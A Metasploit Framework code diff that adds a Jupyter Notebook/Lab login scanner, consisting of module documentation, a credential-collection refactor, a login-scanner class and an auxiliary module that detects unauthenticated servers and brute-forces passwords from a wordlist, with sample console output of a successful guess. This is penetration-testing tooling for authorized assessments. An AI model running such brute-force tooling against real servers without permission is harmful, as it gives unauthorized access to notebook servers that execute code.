diff --git a/documentation/modules/auxiliary/scanner/http/jupyter_login.md b/documentation/modules/auxiliary/scanner/http/jupyter_login.md new file mode 100644 index 0000000000..864e674346 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/jupyter_login.md @@ -0,0 +1,75 @@ +## Vulnerable Application + +This module checks if authentication is required on a Jupyter Lab or Notebook server. If it is, this module will +bruteforce the password. Jupyter only requires a password to authenticate, usernames are not used. This module is +compatible with versions 4.3.0 (released 2016-12-08) and newer. [Version 4.3.0][1] is the first version in which +authentication is required by default. + +A note on names, "Jupyter Lab" is the next-generation interface for "Jupyter Notebooks" which was the successor of the +original IPython Notebook system. This module is compatible with both standard Jupyter Notebook and Jupyter Lab servers. + +### Installation + +1. Install the latest version of Jupyter from PyPi using pip: `pip install notebook`. The "notebook" package is the core + application and is the one whose version number is used as the Jupyter version number referred to in this document. +1. Start Jupyter using `jupyter notebook --ip='*'` to start Jupyter listening on all IP addresses. + * New installs will randomly generate an authentication token and open the browser with it + * As of [version 5.3][2], the user will be prompted to set a password the first time they open the UI + * Note that you may need to restart Jupyter after changing the password in order for Jupyter to start using the new password. + * If you can't reset the password, it may be because you need to create the directory `.jupyter` in the directory + you are running the `jupyter notebook --ip='*'` command from. +1. With the password set, the module can be tested + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/scanner/http/jupyter_login` +1. Set the `RHOSTS` option + * With no other options set, this will only check if authentication is required +1. Do: `run` +1. You should the server version +1. If password options (such as `PASS_FILE`) where specified, and the server requires authentication then you should see + login attempts + +## Options + +## Scenarios + +### Jupyter Notebook 4.3.0 With No Authentication Requirement + +``` +msf5 > use auxiliary/scanner/http/jupyter_login +msf5 auxiliary(scanner/http/jupyter_login) > set RHOSTS 192.168.159.128 +RHOSTS => 192.168.159.128 +msf5 auxiliary(scanner/http/jupyter_login) > set PASS_FILE /tmp/passwords.txt +PASS_FILE => /tmp/passwords.txt +msf5 auxiliary(scanner/http/jupyter_login) > run + +[*] 192.168.159.128:8888 - The server responded that it is running Jupyter version: 4.3.0 +[+] 192.168.159.128:8888 - No password is required. +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf5 auxiliary(scanner/http/jupyter_login) > +``` + +### Jupyter Notebook 6.0.2 With A Password Set + +``` +msf5 > use auxiliary/scanner/http/jupyter_login +msf5 auxiliary(scanner/http/jupyter_login) > set RHOSTS 192.168.159.128 +RHOSTS => 192.168.159.128 +msf5 auxiliary(scanner/http/jupyter_login) > set PASS_FILE /tmp/passwords.txt +PASS_FILE => /tmp/passwords.txt +msf5 auxiliary(scanner/http/jupyter_login) > run + +[*] 192.168.159.128:8888 - The server responded that it is running Jupyter version: 6.0.2 +[-] 192.168.159.128:8888 - LOGIN FAILED: :Password (Incorrect) +[+] 192.168.159.128:8888 - Login Successful: :Password1 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf5 auxiliary(scanner/http/jupyter_login) > +``` + +[1]: https://jupyter-notebook.readthedocs.io/en/stable/changelog.html#release-4-3 +[2]: https://jupyter-notebook.readthedocs.io/en/stable/public_server.html#automatic-password-setup diff --git a/lib/metasploit/framework/community_string_collection.rb b/lib/metasploit/framework/community_string_collection.rb index 071fbc92f7..eb27e6d35b 100644 --- a/lib/metasploit/framework/community_string_collection.rb +++ b/lib/metasploit/framework/community_string_collection.rb @@ -6,7 +6,7 @@ module Metasploit # This class is responsible for taking datastore options from the snmp_login module # and yielding appropriate {Metasploit::Framework::Credential}s to the {Metasploit::Framework::LoginScanner::SNMP}. # This one has to be different from credentialCollection as it will only have a {Metasploit::Framework::Credential#public} - # It may be slightly confusing that the attribues are called password and pass_file, because this is what the legacy + # It may be slightly confusing that the attributes are called password and pass_file, because this is what the legacy # module used. However, community Strings are now considered more to be public credentials than private ones. class CommunityStringCollection # @!attribute pass_file diff --git a/lib/metasploit/framework/credential_collection.rb b/lib/metasploit/framework/credential_collection.rb index 1ddbdd2d73..865886b215 100644 --- a/lib/metasploit/framework/credential_collection.rb +++ b/lib/metasploit/framework/credential_collection.rb @@ -1,233 +1,309 @@ require 'metasploit/framework/credential' -class Metasploit::Framework::CredentialCollection +module Metasploit::Framework - # @!attribute additional_privates - # Additional privates to be combined - # - # @return [Array] - attr_accessor :additional_privates + class PrivateCredentialCollection + # @!attribute additional_privates + # Additional private values that should be tried + # @return [Array] + attr_accessor :additional_privates - # @!attribute additional_publics - # Additional public to be combined - # - # @return [Array] - attr_accessor :additional_publics + # @!attribute blank_passwords + # Whether each username should be tried with a blank password + # @return [Boolean] + attr_accessor :blank_passwords - # @!attribute blank_passwords - # Whether each username should be tried with a blank password - # @return [Boolean] - attr_accessor :blank_passwords + # @!attribute pass_file + # Path to a file containing passwords, one per line + # @return [String] + attr_accessor :pass_file - # @!attribute pass_file - # Path to a file containing passwords, one per line - # @return [String] - attr_accessor :pass_file + # @!attribute password + # The password that should be tried + # @return [String] + attr_accessor :password - # @!attribute password - # @return [String] - attr_accessor :password + # @!attribute prepended_creds + # List of credentials to be tried before any others + # + # @see #prepend_cred + # @return [Array] + attr_accessor :prepended_creds - # @!attribute prepended_creds - # List of credentials to be tried before any others - # - # @see #prepend_cred - # @return [Array] - attr_accessor :prepended_creds + # @!attribute realm + # The authentication realm associated with this password + # @return [String] + attr_accessor :realm - # @!attribute realm - # @return [String] - attr_accessor :realm - - # @!attribute user_as_pass - # Whether each username should be tried as a password for that user - # @return [Boolean] - attr_accessor :user_as_pass - - # @!attribute user_file - # Path to a file containing usernames, one per line - # @return [String] - attr_accessor :user_file - - # @!attribute username - # @return [String] - attr_accessor :username - - # @!attribute userpass_file - # Path to a file containing usernames and passwords separated by a space, - # one pair per line - # @return [String] - attr_accessor :userpass_file - - # @option opts [Boolean] :blank_passwords See {#blank_passwords} - # @option opts [String] :pass_file See {#pass_file} - # @option opts [String] :password See {#password} - # @option opts [Array] :prepended_creds ([]) See {#prepended_creds} - # @option opts [Boolean] :user_as_pass See {#user_as_pass} - # @option opts [String] :user_file See {#user_file} - # @option opts [String] :username See {#username} - # @option opts [String] :userpass_file See {#userpass_file} - def initialize(opts = {}) - opts.each do |attribute, value| - public_send("#{attribute}=", value) - end - self.prepended_creds ||= [] - self.additional_privates ||= [] - self.additional_publics ||= [] - end - - # Adds a string as an addition private credential - # to be combined in the collection. - # - # @param [String] private_str the string to use as a private - # @return [void] - def add_private(private_str='') - additional_privates << private_str - end - - # Adds a string as an addition public credential - # to be combined in the collection. - # - # @param [String] public_str the string to use as a public - # @return [void] - def add_public(public_str='') - additional_publics << public_str - end - - # Add {Credential credentials} that will be yielded by {#each} - # - # @see prepended_creds - # @param cred [Credential] - # @return [self] - def prepend_cred(cred) - prepended_creds.unshift cred - self - end - - # Combines all the provided credential sources into a stream of {Credential} - # objects, yielding them one at a time - # - # @yieldparam credential [Metasploit::Framework::Credential] - # @return [void] - def each - if pass_file.present? - pass_fd = File.open(pass_file, 'r:binary') - end - - prepended_creds.each { |c| yield c } - - if username.present? - if password.present? - yield Metasploit::Framework::Credential.new(public: username, private: password, realm: realm, private_type: private_type(password)) + # @option opts [Boolean] :blank_passwords See {#blank_passwords} + # @option opts [String] :pass_file See {#pass_file} + # @option opts [String] :password See {#password} + # @option opts [Array] :prepended_creds ([]) See {#prepended_creds} + # @option opts [Boolean] :user_as_pass See {#user_as_pass} + # @option opts [String] :user_file See {#user_file} + # @option opts [String] :username See {#username} + # @option opts [String] :userpass_file See {#userpass_file} + def initialize(opts = {}) + opts.each do |attribute, value| + public_send("#{attribute}=", value) end - if user_as_pass - yield Metasploit::Framework::Credential.new(public: username, private: username, realm: realm, private_type: :password) + self.prepended_creds ||= [] + self.additional_privates ||= [] + end + + # Adds a string as an additional private credential + # to be combined in the collection. + # + # @param [String] private_str The string to use as a private credential + # @return [void] + def add_private(private_str='') + additional_privates << private_str + end + + # Add {Credential credentials} that will be yielded by {#each} + # + # @see prepended_creds + # @param [Credential] cred + # @return [self] + def prepend_cred(cred) + prepended_creds.unshift cred + self + end + + # Combines all the provided credential sources into a stream of {Credential} + # objects, yielding them one at a time + # + # @yieldparam credential [Metasploit::Framework::Credential] + # @return [void] + def each + if pass_file.present? + pass_fd = File.open(pass_file, 'r:binary') + end + + prepended_creds.each { |c| yield c } + + if password.present? + yield Metasploit::Framework::Credential.new(private: password, realm: realm, private_type: private_type(password)) end if blank_passwords - yield Metasploit::Framework::Credential.new(public: username, private: "", realm: realm, private_type: :password) + yield Metasploit::Framework::Credential.new(private: "", realm: realm, private_type: :password) end if pass_fd pass_fd.each_line do |pass_from_file| pass_from_file.chomp! - yield Metasploit::Framework::Credential.new(public: username, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file)) + yield Metasploit::Framework::Credential.new(private: pass_from_file, realm: realm, private_type: private_type(pass_from_file)) end - pass_fd.seek(0) end additional_privates.each do |add_private| - yield Metasploit::Framework::Credential.new(public: username, private: add_private, realm: realm, private_type: private_type(add_private)) + yield Metasploit::Framework::Credential.new(private: add_private, realm: realm, private_type: private_type(add_private)) end + + ensure + pass_fd.close if pass_fd && !pass_fd.closed? end - if user_file.present? - File.open(user_file, 'r:binary') do |user_fd| - user_fd.each_line do |user_from_file| - user_from_file.chomp! - if password.present? - yield Metasploit::Framework::Credential.new(public: user_from_file, private: password, realm: realm, private_type: private_type(password) ) + # Returns true when #each will have no results to iterate + # + # @return [Boolean] + def empty? + prepended_creds.empty? && !has_privates? + end + + # Returns true when there are any private values set + # + # @return [Boolean] + def has_privates? + password.present? || pass_file.present? || !additional_privates.empty? || blank_passwords + end + + protected + + # Analyze a private value to determine its type by checking it against a known list of regular expressions + # + # @param [String] private The string to analyze + # @return [Symbol] + def private_type(private) + if private =~ /[0-9a-f]{32}:[0-9a-f]{32}/ + :ntlm_hash + elsif private =~ /^md5([a-f0-9]{32})$/ + :postgres_md5 + else + :password + end + end + end + + class CredentialCollection < PrivateCredentialCollection + + # @!attribute additional_publics + # Additional public values that should be tried + # + # @return [Array] + attr_accessor :additional_publics + + # @!attribute user_as_pass + # Whether each username should be tried as a password for that user + # @return [Boolean] + attr_accessor :user_as_pass + + # @!attribute user_file + # Path to a file containing usernames, one per line + # @return [String] + attr_accessor :user_file + + # @!attribute username + # The username that should be tried + # @return [String] + attr_accessor :username + + # @!attribute userpass_file + # Path to a file containing usernames and passwords separated by a space, + # one pair per line + # @return [String] + attr_accessor :userpass_file + + # @option opts [Boolean] :blank_passwords See {#blank_passwords} + # @option opts [String] :pass_file See {#pass_file} + # @option opts [String] :password See {#password} + # @option opts [Array] :prepended_creds ([]) See {#prepended_creds} + # @option opts [Boolean] :user_as_pass See {#user_as_pass} + # @option opts [String] :user_file See {#user_file} + # @option opts [String] :username See {#username} + # @option opts [String] :userpass_file See {#userpass_file} + def initialize(opts = {}) + super + self.additional_publics ||= [] + end + + # Adds a string as an additional public credential + # to be combined in the collection. + # + # @param [String] public_str The string to use as a public credential + # @return [void] + def add_public(public_str='') + additional_publics << public_str + end + + # Combines all the provided credential sources into a stream of {Credential} + # objects, yielding them one at a time + # + # @yieldparam credential [Metasploit::Framework::Credential] + # @return [void] + def each + if pass_file.present? + pass_fd = File.open(pass_file, 'r:binary') + end + + prepended_creds.each { |c| yield c } + + if username.present? + if password.present? + yield Metasploit::Framework::Credential.new(public: username, private: password, realm: realm, private_type: private_type(password)) + end + if user_as_pass + yield Metasploit::Framework::Credential.new(public: username, private: username, realm: realm, private_type: :password) + end + if blank_passwords + yield Metasploit::Framework::Credential.new(public: username, private: "", realm: realm, private_type: :password) + end + if pass_fd + pass_fd.each_line do |pass_from_file| + pass_from_file.chomp! + yield Metasploit::Framework::Credential.new(public: username, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file)) end - if user_as_pass - yield Metasploit::Framework::Credential.new(public: user_from_file, private: user_from_file, realm: realm, private_type: :password) - end - if blank_passwords - yield Metasploit::Framework::Credential.new(public: user_from_file, private: "", realm: realm, private_type: :password) - end - if pass_fd - pass_fd.each_line do |pass_from_file| - pass_from_file.chomp! - yield Metasploit::Framework::Credential.new(public: user_from_file, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file)) + end + additional_privates.each do |add_private| + yield Metasploit::Framework::Credential.new(public: username, private: add_private, realm: realm, private_type: private_type(add_private)) + end + end + + if user_file.present? + File.open(user_file, 'r:binary') do |user_fd| + user_fd.each_line do |user_from_file| + user_from_file.chomp! + if password.present? + yield Metasploit::Framework::Credential.new(public: user_from_file, private: password, realm: realm, private_type: private_type(password) ) + end + if user_as_pass + yield Metasploit::Framework::Credential.new(public: user_from_file, private: user_from_file, realm: realm, private_type: :password) + end + if blank_passwords + yield Metasploit::Framework::Credential.new(public: user_from_file, private: "", realm: realm, private_type: :password) + end + if pass_fd + pass_fd.each_line do |pass_from_file| + pass_from_file.chomp! + yield Metasploit::Framework::Credential.new(public: user_from_file, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file)) + end + pass_fd.seek(0) + end + additional_privates.each do |add_private| + yield Metasploit::Framework::Credential.new(public: user_from_file, private: add_private, realm: realm, private_type: private_type(add_private)) end - pass_fd.seek(0) - end - additional_privates.each do |add_private| - yield Metasploit::Framework::Credential.new(public: user_from_file, private: add_private, realm: realm, private_type: private_type(add_private)) end end end - end - if userpass_file.present? - File.open(userpass_file, 'r:binary') do |userpass_fd| - userpass_fd.each_line do |line| - user, pass = line.split(" ", 2) - if pass.blank? - pass = '' - else - pass.chomp! + if userpass_file.present? + File.open(userpass_file, 'r:binary') do |userpass_fd| + userpass_fd.each_line do |line| + user, pass = line.split(" ", 2) + if pass.blank? + pass = '' + else + pass.chomp! + end + yield Metasploit::Framework::Credential.new(public: user, private: pass, realm: realm) end - yield Metasploit::Framework::Credential.new(public: user, private: pass, realm: realm) end end - end - additional_publics.each do |add_public| - if password.present? - yield Metasploit::Framework::Credential.new(public: add_public, private: password, realm: realm, private_type: private_type(password) ) - end - if user_as_pass - yield Metasploit::Framework::Credential.new(public: add_public, private: user_from_file, realm: realm, private_type: :password) - end - if blank_passwords - yield Metasploit::Framework::Credential.new(public: add_public, private: "", realm: realm, private_type: :password) - end - if pass_fd - pass_fd.each_line do |pass_from_file| - pass_from_file.chomp! - yield Metasploit::Framework::Credential.new(public: add_public, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file)) + additional_publics.each do |add_public| + if password.present? + yield Metasploit::Framework::Credential.new(public: add_public, private: password, realm: realm, private_type: private_type(password) ) + end + if user_as_pass + yield Metasploit::Framework::Credential.new(public: add_public, private: user_from_file, realm: realm, private_type: :password) + end + if blank_passwords + yield Metasploit::Framework::Credential.new(public: add_public, private: "", realm: realm, private_type: :password) + end + if pass_fd + pass_fd.each_line do |pass_from_file| + pass_from_file.chomp! + yield Metasploit::Framework::Credential.new(public: add_public, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file)) + end + pass_fd.seek(0) + end + additional_privates.each do |add_private| + yield Metasploit::Framework::Credential.new(public: add_public, private: add_private, realm: realm, private_type: private_type(add_private)) end - pass_fd.seek(0) - end - additional_privates.each do |add_private| - yield Metasploit::Framework::Credential.new(public: add_public, private: add_private, realm: realm, private_type: private_type(add_private)) end + + ensure + pass_fd.close if pass_fd && !pass_fd.closed? end - ensure - pass_fd.close if pass_fd && !pass_fd.closed? - end - - # Returns true when #each will have no results to iterate - def empty? - prepended_creds.empty? && !has_users? || (has_users? && !has_privates?) - end - - def has_users? - username.present? || user_file.present? || userpass_file.present? || !additional_publics.empty? - end - - def has_privates? - password.present? || pass_file.present? || userpass_file.present? || !additional_privates.empty? || blank_passwords || user_as_pass - end - - private - - def private_type(private) - if private =~ /[0-9a-f]{32}:[0-9a-f]{32}/ - :ntlm_hash - elsif private =~ /^md5([a-f0-9]{32})$/ - :postgres_md5 - else - :password + # Returns true when #each will have no results to iterate + # + # @return [Boolean] + def empty? + prepended_creds.empty? && !has_users? || (has_users? && !has_privates?) end - end + # Returns true when there are any user values set + # + # @return [Boolean] + def has_users? + username.present? || user_file.present? || userpass_file.present? || !additional_publics.empty? + end + + # Returns true when there are any private values set + # + # @return [Boolean] + def has_privates? + super || userpass_file.present? || user_as_pass + end + + end end diff --git a/lib/metasploit/framework/login_scanner/jupyter.rb b/lib/metasploit/framework/login_scanner/jupyter.rb new file mode 100644 index 0000000000..163bf4c2a9 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/jupyter.rb @@ -0,0 +1,61 @@ +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # Jupyter login scanner + class Jupyter < HTTP + + # Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP + CAN_GET_SESSION = true + DEFAULT_PORT = 8888 + PRIVATE_TYPES = [ :password ] + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.uri = '/login' if self.uri.nil? + self.method = 'POST' if self.method.nil? + + super + end + + def attempt_login(credential) + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp', + service_name: ssl ? 'https' : 'http' + } + + begin + res = send_request({'method'=> 'GET', 'uri' => uri}) + vars_post = {'password' => credential.private } + + # versions < 4.3.1 do not use this field + unless (node = res.get_html_document.xpath('//form//input[@name="_xsrf"]')).empty? + vars_post['_xsrf'] = node.first['value'] + end + + res = send_request({ + 'method' => 'POST', + 'uri' => uri, + 'cookie' => res.get_cookies, + 'vars_post' => vars_post + }) + + if res&.code == 302 && res.headers['Location'] + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.headers) + else + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res) + end + rescue ::EOFError, Errno::ETIMEDOUT, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + end + Result.new(result_opts) + end + end + end + end +end diff --git a/modules/auxiliary/scanner/http/jupyter_login.rb b/modules/auxiliary/scanner/http/jupyter_login.rb new file mode 100644 index 0000000000..9aec5b30b0 --- /dev/null +++ b/modules/auxiliary/scanner/http/jupyter_login.rb @@ -0,0 +1,115 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/jupyter' + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + + def initialize + super( + 'Name' => 'Jupyter Login Utility', + 'Description' => %q{ + This module checks if authentication is required on a Jupyter Lab or Notebook server. If it is, this module will + bruteforce the password. Jupyter only requires a password to authenticate, usernames are not used. This module + is compatible with versions 4.3.0 (released 2016-12-08) and newer. + }, + 'Author' => [ 'Spencer McIntyre' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'The path to the Jupyter application', '/' ]), + Opt::RPORT(8888) + ] + ) + + deregister_options('PASSWORD_SPRAY') + deregister_options('DB_ALL_CREDS', 'DB_ALL_USERS', 'HttpUsername', 'STOP_ON_SUCCESS', 'USERNAME', 'USERPASS_FILE', 'USER_AS_PASS', 'USER_FILE') + + register_autofilter_ports([ 80, 443, 8888 ]) + end + + def requires_password?(_ip) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'tree') + }) + + return false if res&.code == 200 + + destination = res.headers['Location'].split('?', 2)[0] + return true if destination.end_with?(normalize_uri(target_uri.path, 'login')) + + fail_with(Failure::UnexpectedReply, "#{peer} - The server responded with a redirect that did not match a known fingerprint") + end + + def run_host(ip) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api') + }) + version = res.get_json_document.dig('version') + if version.nil? + print_error "#{peer} - The server does not appear to be running Jupyter (failed to fetch the API version)" + return + end + vprint_status "#{peer} - The server responded that it is running Jupyter version: #{version}" + + unless requires_password?(ip) + print_good "#{peer} - No password is required." + report_vuln( + host: ip, + port: rport, + proto: 'tcp', + sname: (ssl ? 'https' : 'http'), + name: 'Unauthenticated Jupyter Access', + info: "Module #{fullname} confirmed unauthenticated access to the Jupyter application" + ) + return + end + + cred_collection = Metasploit::Framework::PrivateCredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'] + ) + + scanner = Metasploit::Framework::LoginScanner::Jupyter.new( + configure_http_login_scanner( + uri: normalize_uri(target_uri.path, 'login'), + cred_details: cred_collection, + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 10, + http_password: datastore['HttpPassword'], + # there is only one password and no username, so don't bother continuing + stop_on_success: true + ) + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{peer} - Login Successful: #{result.credential}" + else + invalidate_login(credential_data) + vprint_error "#{peer} - LOGIN FAILED: #{result.credential} (#{result.status})" + end + end + end +end